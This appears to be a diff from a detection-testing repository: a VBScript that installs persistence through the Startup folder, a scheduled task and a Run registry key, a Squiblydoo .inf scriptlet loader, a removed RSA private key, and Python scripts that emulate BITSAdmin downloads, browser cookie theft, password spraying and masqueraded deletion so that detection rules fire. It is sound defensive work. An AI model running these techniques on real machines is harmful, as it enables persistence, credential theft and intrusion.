runTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-run-key.vbs"
|
||||
|
||||
runKey = "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & name
|
||||
|
||||
|
||||
function log(logType, message)
|
||||
line = "[" & logType & "] " & wscript.ScriptName & " - " & message
|
||||
' WScript.Echo line
|
||||
logFile.WriteLine line
|
||||
end function
|
||||
|
||||
function logLine
|
||||
logFile.WriteLine ""
|
||||
end function
|
||||
|
||||
|
||||
'Add self logging functions
|
||||
function copyScript(target)
|
||||
log "+", "Copying " & wscript.ScriptFullName & " to " & target
|
||||
fs.CopyFile wscript.ScriptFullName, target, true
|
||||
end function
|
||||
|
||||
function deleteFile(path)
|
||||
log "-", "Deleting " & path
|
||||
fs.DeleteFile(path)
|
||||
end function
|
||||
|
||||
function run(command)
|
||||
log ">", command
|
||||
errorCode = shellObj.Run(command, 0, True)
|
||||
if errorCode <> 0 then
|
||||
log ">", "exit code = " & errorCode
|
||||
end if
|
||||
end function
|
||||
|
||||
function deleteScript()
|
||||
deleteFile wscript.ScriptFullName
|
||||
end function
|
||||
|
||||
|
||||
log "=", "Started"
|
||||
|
||||
'Establish persistence or remove persistence after the first execution
|
||||
if wscript.ScriptFullName = shortcutTarget then
|
||||
'Check if this is running and came from a shortcut
|
||||
log "+", "Running from a shortcut target"
|
||||
deleteScript
|
||||
deleteFile shortcutLink
|
||||
|
||||
elseif wscript.ScriptFullName = startupTarget then
|
||||
'Delete the file
|
||||
log "+", "Running from the startup folder directly"
|
||||
deleteScript
|
||||
|
||||
elseif wscript.ScriptFullName = taskTarget then
|
||||
'Remove the task and the file
|
||||
log "+", "Running as a scheduled task"
|
||||
deleteScript
|
||||
run "schtasks.exe /delete /f /tn " & name
|
||||
|
||||
elseif wscript.ScriptFullName = runTarget then
|
||||
'Remove the registry key and the file
|
||||
log "+", "Running as a run item"
|
||||
deleteScript
|
||||
log "-", "Removing registry key " & runKey
|
||||
shellObj.RegDelete runKey
|
||||
|
||||
else
|
||||
'Copy the file to a few locations
|
||||
dim shortcut
|
||||
log "+", "Establish Persistence" & crlf
|
||||
|
||||
|
||||
'Copy to the StartUp directory
|
||||
log "+", "Startup File"
|
||||
copyScript startupTarget
|
||||
logLine
|
||||
|
||||
'Create a shortcut in the StartUp directory
|
||||
log "+", "Startup Shortcut"
|
||||
copyScript shortcutTarget
|
||||
set shortcut = shellObj.CreateShortcut(shortcutLink)
|
||||
shortcut.TargetPath = "wscript.exe"
|
||||
shortcut.Arguments = "//B " & chrw(34) & shortcutTarget & chrw(34)
|
||||
shortcut.save()
|
||||
logLine
|
||||
|
||||
'Create a scheduled task
|
||||
log "-", "Scheduled Task" & crlf
|
||||
copyScript taskTarget
|
||||
run "schtasks.exe /create /f /sc onlogon /tn " & name & " /tr " & chrw(34) & "wscript.exe //B " & ("\" & chrw(34)) & runTarget & ("\" & chrw(34)) & chrw(34)
|
||||
logLine
|
||||
|
||||
'Create the run key
|
||||
log "+", "Run Key via Registry"
|
||||
copyScript runTarget
|
||||
shellObj.RegWrite runKey, "wscript.exe //B " & chrw(34) & runTarget & chrw(34), "REG_SZ"
|
||||
logLine
|
||||
|
||||
end if
|
||||
|
||||
log "-", "Exiting"
|
||||
logFile.WriteLine ""
|
||||
logFile.WriteLine ""
|
||||
logFile.Close()
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,27 +0,0 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEAuy7HkecTrKhGuZW7/KugrrUNmNGPjvZGXTpGJIb3ycU5KSNk
|
||||
VutDTpjL6QpqJc4O/2J77lEjGsx+H+CUcrXSK5cSifD5Qd73ZRM6wnfulpUBKJoi
|
||||
LasX7umpRtx/xwOQGvDBBYvB6QVhvmlisqkhRIZLphi4qxfBJ1+RzfsG8JNvDmvl
|
||||
tkEogGMaj5rVplbhKycSkuqflEF+tuhnSCiLgAAyFcFzhDp1sJP7mHf0RX1qxGtq
|
||||
1e+OduZxA8omDB3urvZ+3smCnEgYk920Ikbzs5zEjwHMgh6mtqLLO1xLOefTFWUM
|
||||
+i6z05mowdi3l3e26LOQLhHftBxh88W41b60mwIDAQABAoIBACyJ4v66hxnsKHf8
|
||||
QvDKPb+UYRnds1UHEJMaTJpgaxFdlk5Nl5B/BlLrVIms6rj4IOVvn6GDOOEli1U2
|
||||
cNwim1G37rdX2VdtIFyyiKbBNsopxk7M7hkDvvwgKSEtUlIebOmcI7GYIZm6qBlQ
|
||||
piVwzPOrKNDqzPYY/uLJgL4MXwhbBDzgi4qsNOFol05r0YISiHxI3CRmk0zFQnwr
|
||||
xIIg4WR6NbWKVp/CLfGrJFwE0wG9J1D3xf3hclHKEmOCuEI0PuGQqH7gwzfPxCT5
|
||||
kzfi513iqTRvxwn0euUY9qqHZNuMoW3p7oGvObgZhRmN1qlE5kmN1moZhlcQuIkr
|
||||
enhCVCECgYEA378gwqZdsWLinMwScSDNz3WAc8rThwdB3qz3cBRFWFV0/qlMLxpC
|
||||
ne+kSBekym3vNK4ZWJf6XHpVodHGB3mSVOCGAgziEy5nlVtoO64qQoa6gTDAjdEv
|
||||
eGh27lEresi3MiP9JHE7TN3nwcjlpuRfnutqgnlVJeVmwasDB/E2vGkCgYEA1ipX
|
||||
5vUZz7z7LU5VNPskn5naGHkuLrlQaCqKWdXMOXsOoP3w4Z4PptWzroa/i5O4OGqV
|
||||
2x7wkAAa73oqRnt8+OTwCxfzBhdQDCfIw9joZrJiCCbqNny8zQcXBI2AcdWaI2m3
|
||||
jfzKXtxtCAz2WFLE1g2RjLSjw/F2XPpjN9daGGMCgYBa7ueWlFyhuimVRg78sTNT
|
||||
7FJPPRBo4Vcw86UAhQyF0P1iflW7EvYeEAX5UrqjlrhP9a3RZrrWmNVylbng0dTZ
|
||||
8AImlSvQVdy9Q9AB6U+9h9oGpVSsjma3jeVAB/ceyLJDi4LXK7nJDKqjBE3pXQlL
|
||||
oivAaSVk6G2xqhnqQWtYeQKBgQDRWuk888J8qc+cNWPj+9GMVzi1DdjQggURHuzJ
|
||||
7s7KLfpZ9IPB+eJxA5y3ci/SwN+n/sFpR3CARCoQigrDhbngEOR647mE7cspZsbC
|
||||
dMqSgbSFJY11IDDr+A9POwghv14DWje+DCzD2JSY9xrlsluKqA7tTjR8uhEryPSu
|
||||
xMzk4wKBgCufVxHkqM1wWF8Mt80YIluTx+NJSx8UF8TCYeeJimO0MAPMp7u9mSSh
|
||||
upElHcfKf2fnACO8IHuDMx6luAo+BAdSzOtkERK9rwJ5y0Ktef58MhuMY8jmKKrD
|
||||
NcKPu3VXnLZ6Gc3qF2Kiy2Qqz0sNqtDsr9L1c9To55GeJ4uZt0BU
|
||||
-----END RSA PRIVATE KEY-----
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,8 +0,0 @@
|
||||
[Version]
|
||||
Signature=$CHICAGO$
|
||||
|
||||
[DefaultInstall]
|
||||
UnregisterDlls = Squiblydoo
|
||||
|
||||
[Squiblydoo]
|
||||
11,,scrobj.dll,2,60,http://127.0.0.1:8000/bin/notepad.sct
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,29 +0,0 @@
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2017, Matt Graeber
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
Binary file not shown.
@@ -1,44 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import sys
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="1b7fe2e7-29c0-4d10-9ced-8b9cd158835d",
|
||||
platforms=["linux"],
|
||||
endpoint=[
|
||||
{
|
||||
"rule_id": "78ae5dbd-477b-4ce7-a7f7-8c4b5e228df2",
|
||||
"rule_name": "Binary Executed from Shared Memory Directory",
|
||||
},
|
||||
],
|
||||
siem=[
|
||||
{
|
||||
"rule_id": "3f3f9fe2-d095-11ec-95dc-f661ea17fbce",
|
||||
"rule_name": "Binary Executed from Shared Memory Directory",
|
||||
},
|
||||
],
|
||||
techniques=["T1620"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
def main() -> None:
|
||||
masquerade = "/dev/shm/test"
|
||||
source = common.get_path("bin", "linux.ditto_and_spawn")
|
||||
common.copy_file(source, masquerade)
|
||||
|
||||
# Execute command
|
||||
common.log("Executing Fake binary from Shared Memory")
|
||||
common.execute([masquerade, "test"], timeout=10, kill=True)
|
||||
|
||||
# cleanup
|
||||
common.remove_file(masquerade)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -1,37 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import platform
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="62eb4521-cfb8-4fb8-bc6d-792fe57273b7",
|
||||
platforms=["macos"],
|
||||
endpoint=[
|
||||
{
|
||||
"rule_name": "Potential Binary Masquerading via Invalid Code Signature",
|
||||
"rule_id": "4154c8ce-c718-4641-80db-a6a52276f1a4",
|
||||
}
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1036"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
if platform.processor() == "arm":
|
||||
name = "com.apple.sleep_arm"
|
||||
else:
|
||||
name = "com.apple.sleep_intel"
|
||||
path = common.get_path("bin", name)
|
||||
common.execute([path, "5"], kill=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,45 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
# Name: Suspicious BitsAdmin Download File
|
||||
# RTA: bitsadmin_download.py
|
||||
# ATT&CK: T1197
|
||||
# Description: Runs BitsAdmin to download file via command line.
|
||||
|
||||
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="aee48793-01ec-428f-9890-c5db9df07830",
|
||||
platforms=["windows"],
|
||||
endpoint=[],
|
||||
siem=[{"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}],
|
||||
techniques=["T1566"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
common.log("Running Windows BitsAdmin to Download")
|
||||
server, ip, port = common.serve_web()
|
||||
url = "http://" + ip + ":" + str(port) + "/bin/myapp.exe"
|
||||
dest_path = Path("myapp-test.exe").resolve()
|
||||
fake_word = Path("winword.exe").resolve()
|
||||
|
||||
common.log("Emulating parent process: {parent}".format(parent=fake_word))
|
||||
common.copy_file("C:\\Windows\\System32\\cmd.exe", fake_word)
|
||||
|
||||
command = subprocess.list2cmdline(["bitsadmin.exe", "/Transfer", "/Download", url, dest_path])
|
||||
common.execute([fake_word, "/c", command], timeout=15, kill=True)
|
||||
common.execute(["taskkill", "/f", "/im", "bitsadmin.exe"])
|
||||
|
||||
common.remove_files(dest_path, fake_word)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,42 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="e7a55d39-37b4-4f37-9519-3779b3c23bfa",
|
||||
platforms=["windows"],
|
||||
endpoint=[
|
||||
{"rule_name": "Suspicious Bitsadmin Activity", "rule_id": "676ac66c-4899-498f-ae21-ed5620af5477"},
|
||||
{"rule_name": "Suspicious Microsoft Office Child Process", "rule_id": "c34a9dca-66cf-4283-944d-1800b28ae690"},
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1197", "T1566"],
|
||||
)
|
||||
|
||||
ROOT_DIR = Path(__file__).parent
|
||||
EXE_FILE = common.get_path("bin", "renamed.exe")
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
fake_word = ROOT_DIR / "winword.exe"
|
||||
common.log(f"Copying {EXE_FILE} to {fake_word}")
|
||||
common.copy_file(EXE_FILE, fake_word)
|
||||
|
||||
command = subprocess.list2cmdline(["bitsadmin.exe", "/Transfer", "/Download"])
|
||||
common.execute([fake_word, "/c", command], timeout=15, kill=True)
|
||||
common.execute(["taskkill", "/f", "/im", "bitsadmin.exe"])
|
||||
|
||||
common.remove_files(fake_word)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,41 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from pathlib import Path
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="ea187b1f-4aa0-4ffc-bac9-9ee1d55552fd",
|
||||
platforms=["macos"],
|
||||
endpoint=[
|
||||
{
|
||||
"rule_name": "Suspicious Access to Stored Browser Credentials",
|
||||
"rule_id": "cea870d6-e6ee-4435-bc80-2c80e834c5d1",
|
||||
}
|
||||
],
|
||||
siem=[{"rule_name": "Access of Stored Browser Credentials", "rule_id": "20457e4f-d1de-4b92-ae69-142e27a4342a"}],
|
||||
techniques=["T1539", "T1555"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
masquerade = "/tmp/bash"
|
||||
common.create_macos_masquerade(masquerade)
|
||||
|
||||
# Execute command
|
||||
common.log("Launching fake commands to aquire browser creds")
|
||||
cookie_path = f"{Path.home()}/Library/Application Support/Google/Chrome/Default/Cookies"
|
||||
common.execute([masquerade, cookie_path], timeout=10, kill=True)
|
||||
|
||||
# cleanup
|
||||
common.remove_file(masquerade)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,65 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import platform
|
||||
import sys
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="e061a96e-4c31-4f67-9745-6ff873f7829e",
|
||||
platforms=["windows", "macos", "linux"],
|
||||
endpoint=[
|
||||
{
|
||||
"rule_name": "Potential Cookies Theft via Browser Debugging",
|
||||
"rule_id": "5d7328aa-973b-41e7-a6b3-6f40ea3094f1",
|
||||
},
|
||||
],
|
||||
siem=[
|
||||
{
|
||||
"rule_name": "Potential Cookies Theft via Browser Debugging",
|
||||
"rule_id": "027ff9ea-85e7-42e3-99d2-bbb7069e02eb",
|
||||
},
|
||||
],
|
||||
techniques=["T1539"],
|
||||
)
|
||||
|
||||
EXE_FILE = common.get_path("bin", "renamed_posh.exe")
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main() -> None:
|
||||
param1 = "--remote-debugging-port=9222"
|
||||
param2 = "--user-data-dir=remote-profile"
|
||||
if platform.system() == "Darwin":
|
||||
name = "com.apple.ditto_and_spawn_arm" if platform.processor() == "arm" else "com.apple.ditto_and_spawn_intel"
|
||||
|
||||
source = common.get_path("bin", name)
|
||||
chrome = "/tmp/google-chrome"
|
||||
common.copy_file(source, chrome)
|
||||
|
||||
common.log("Starting browser on debug mode")
|
||||
common.execute([chrome, param1, param2], timeout=10, kill=True)
|
||||
|
||||
elif common.CURRENT_OS == "linux":
|
||||
name = "linux.ditto_and_spawn"
|
||||
source = common.get_path("bin", name)
|
||||
chrome = "/tmp/google-chrome"
|
||||
common.copy_file(source, chrome)
|
||||
|
||||
common.log("Starting browser on debug mode")
|
||||
common.execute([chrome, param1, param2], timeout=10, kill=True)
|
||||
else:
|
||||
chrome = "C:\\Users\\Public\\chrome.exe"
|
||||
common.copy_file(EXE_FILE, chrome)
|
||||
|
||||
# Execute command
|
||||
common.log("Mimicking the start of a browser on debug mode")
|
||||
common.execute([chrome, "/c", "echo", param1, param2], timeout=10)
|
||||
common.remove_file(chrome)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -1,75 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
# Name: Brute Force Login Attempts
|
||||
# RTA: brute_force_login.py
|
||||
# ATT&CK: T1110
|
||||
# Description: Simulates brute force or password spraying tactics.
|
||||
# Remote audit failures must be enabled to trigger: `auditpol /set /subcategory:"Logon" /failure:enable`
|
||||
|
||||
import random
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="35bb73a9-cafa-4b2c-81f0-a97e2afa5e1c",
|
||||
platforms=["windows"],
|
||||
endpoint=[],
|
||||
siem=[
|
||||
{"rule_id": "e08ccd49-0380-4b2b-8d71-8000377d6e49", "rule_name": "Attempts to Brute Force an Okta User Account"}
|
||||
],
|
||||
techniques=["T1110"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main(username="rta-tester", remote_host=None):
|
||||
if not remote_host:
|
||||
common.log("A remote host is required to detonate this RTA", "!")
|
||||
return common.MISSING_REMOTE_HOST
|
||||
|
||||
common.enable_logon_auditing(remote_host)
|
||||
|
||||
common.log("Brute forcing login with invalid password against {}".format(remote_host))
|
||||
ps_command = """
|
||||
$PW = ConvertTo-SecureString "such-secure-passW0RD!" -AsPlainText -Force
|
||||
$CREDS = New-Object System.Management.Automation.PsCredential {username}, $PW
|
||||
Invoke-WmiMethod -ComputerName {host} -Class Win32_process -Name create -ArgumentList ipconfig -Credential $CREDS
|
||||
"""
|
||||
command = [
|
||||
"powershell",
|
||||
"-c",
|
||||
ps_command.format(username=username, host=remote_host),
|
||||
]
|
||||
|
||||
# fail 4 times - the first 3 concurrently and wait for the final to complete
|
||||
for i in range(4):
|
||||
common.execute(command, wait=i == 3)
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
common.log("Password spraying against {}".format(remote_host))
|
||||
|
||||
# fail 5 times - the first 4 concurrently and wait for the final to complete
|
||||
for i in range(5):
|
||||
random_user = "".join(random.sample(string.ascii_letters, 10))
|
||||
command = [
|
||||
"powershell",
|
||||
"-c",
|
||||
ps_command.format(username=random_user, host=remote_host),
|
||||
]
|
||||
common.execute(command, wait=i == 4)
|
||||
|
||||
# allow time for audit event to process
|
||||
time.sleep(2)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -1,61 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import os
|
||||
import pathlib
|
||||
import sys
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="c69a06f3-3873-4d5d-8584-035e0921b4a8",
|
||||
platforms=["macos", "linux"],
|
||||
endpoint=[
|
||||
{
|
||||
"rule_id": "15019d7c-42e6-4cf7-88b0-0c3a6963e6f5",
|
||||
"rule_name": "Suspicious Recursive File Deletion via Built-In Utilities",
|
||||
},
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1565", "T1485"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main() -> None:
|
||||
masquerade = "/tmp/xargs"
|
||||
masquerade2 = "/tmp/rm"
|
||||
# used only for linux at 2 places to enumerate xargs as parent process.
|
||||
working_dir = "/tmp/fake_folder/xargs"
|
||||
if common.CURRENT_OS == "linux":
|
||||
# Using the Linux binary that simulates parent-> child process in Linux
|
||||
source = common.get_path("bin", "linux_ditto_and_spawn_parent_child")
|
||||
common.copy_file(source, masquerade)
|
||||
common.copy_file(source, masquerade2)
|
||||
# As opposed to macos, where the masquerade is being projected as parent process,
|
||||
# in linux the working directory is being projected as parent process.
|
||||
# Hence, to simulate the parent process without many changes to execute logic
|
||||
# a fake folder structure is created for execution.
|
||||
# The execution working directory is changed to the fake folder, to simulate as xargs parent process in Linux.
|
||||
pathlib.Path(working_dir).mkdir(parents=True, exist_ok=True)
|
||||
os.chdir(working_dir)
|
||||
else:
|
||||
common.create_macos_masquerade(masquerade)
|
||||
common.create_macos_masquerade(masquerade2)
|
||||
|
||||
# Execute command
|
||||
common.log("Launching fake builtin commands to recursively delete")
|
||||
command = f"{masquerade2} -rf arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 /home/test"
|
||||
common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604
|
||||
|
||||
# cleanup
|
||||
common.remove_file(masquerade)
|
||||
common.remove_file(masquerade2)
|
||||
if common.CURRENT_OS == "linux":
|
||||
common.remove_directory(working_dir)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -1,44 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="ba802fb2-f183-420e-947m-da5ce0235d123",
|
||||
platforms=["windows"],
|
||||
siem=[],
|
||||
endpoint=[{"rule_id": "3bc98de7-3349-43ac-869c-58357ae2aac0", "rule_name": "Suspicious DNS Query from Mounted Virtual Disk"},
|
||||
{"rule_id": "88f6c3d4-112e-4fad-b3ef-33095c954b63", "rule_name": "Suspicious DNS Query to Free SSL Certificate Domains"},
|
||||
{"rule_id": "d37ffe39-8e58-460f-938d-3bafbae60711", "rule_name": "DNS Query to Suspicious Top Level Domain"}],
|
||||
techniques=["T1071", "T1204", "T1071.004"],
|
||||
)
|
||||
|
||||
# iso contains ping.exe to test for rules looking for suspicious DNS queries from mounted ISO file
|
||||
ISO = common.get_path("bin", "ping_dns_from_iso.iso")
|
||||
PROC = 'ping.exe'
|
||||
|
||||
# ps script to mount, execute a file and unmount ISO device
|
||||
PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1")
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
|
||||
def main():
|
||||
if Path(ISO).is_file() and Path(PS_SCRIPT).is_file():
|
||||
print(f'[+] - ISO File {ISO} will be mounted and executed via powershell')
|
||||
|
||||
# 3 unique domains to trigger 3 unique rules looking for dns events via a process running from a mounted ISO file
|
||||
for domain in ["Abc.xyz", "content.dropboxapi.com", "x1.c.lencr.org"] :
|
||||
|
||||
# import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute and -cmdline for arguments
|
||||
# command = "powershell.exe -ExecutionPol Bypass -c import-module " + psf + '; ExecFromISO -ISOFile ' + ISO + ' -procname '+ PROC + ' -cmdline ' + domain + ';'
|
||||
command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC} -cmdline {domain};"
|
||||
common.execute(command)
|
||||
|
||||
print(f'[+] - RTA Done!')
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,36 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from pathlib import Path
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="44345dc0-883f-41b7-ad34-1d84cfd57129",
|
||||
platforms=["macos"],
|
||||
endpoint=[],
|
||||
siem=[{"rule_name": "Suspicious Calendar File Modification", "rule_id": "cb71aa62-55c8-42f0-b0dd-afb0bb0b1f51"}],
|
||||
techniques=["T1546"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
cal_dir = Path(f"{Path.home()}/Library/Calendars/")
|
||||
cal_calendar = cal_dir.joinpath("test.calendar", "Events")
|
||||
cal_calendar.mkdir(parents=True, exist_ok=True)
|
||||
cal_path = str(cal_calendar.joinpath("test.ics"))
|
||||
common.log(f"Executing file modification on {cal_path} to mimic suspicious calendar file modification")
|
||||
common.temporary_file_helper("testing", file_name=cal_path)
|
||||
|
||||
# cleanup
|
||||
common.remove_directory(str(cal_calendar))
|
||||
common.remove_directory(str(cal_dir))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,36 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import sys
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="fcd2d0fe-fed2-424a-bdc5-e9bef5031344",
|
||||
platforms=["linux"],
|
||||
endpoint=[{"rule_name": "Network Activity Detected via cat", "rule_id": "25ae94f5-0214-4bf1-b534-33d4ffc3d41c"}],
|
||||
siem=[{"rule_name": "Network Activity Detected via cat", "rule_id": "afd04601-12fc-4149-9b78-9c3f8fe45d39"}],
|
||||
techniques=[""],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
def main() -> None:
|
||||
common.log("Creating a fake cat executable..")
|
||||
masquerade = "/tmp/cat"
|
||||
source = common.get_path("bin", "netcon_exec_chain.elf")
|
||||
common.copy_file(source, masquerade)
|
||||
common.log("Granting execute permissions...")
|
||||
common.execute(["chmod", "+x", masquerade])
|
||||
common.log("Simulating cat network activity..")
|
||||
common.execute([masquerade, "netcon", "-h", "8.8.8.8", "-p", "53"], timeout=10, kill=True, shell=True) # noqa: S604
|
||||
common.log("Cat network simulation successful!")
|
||||
common.log("Cleaning...")
|
||||
common.remove_file(masquerade)
|
||||
common.log("RTA completed!")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -1,48 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
# Name: Certutil Encode / Decode
|
||||
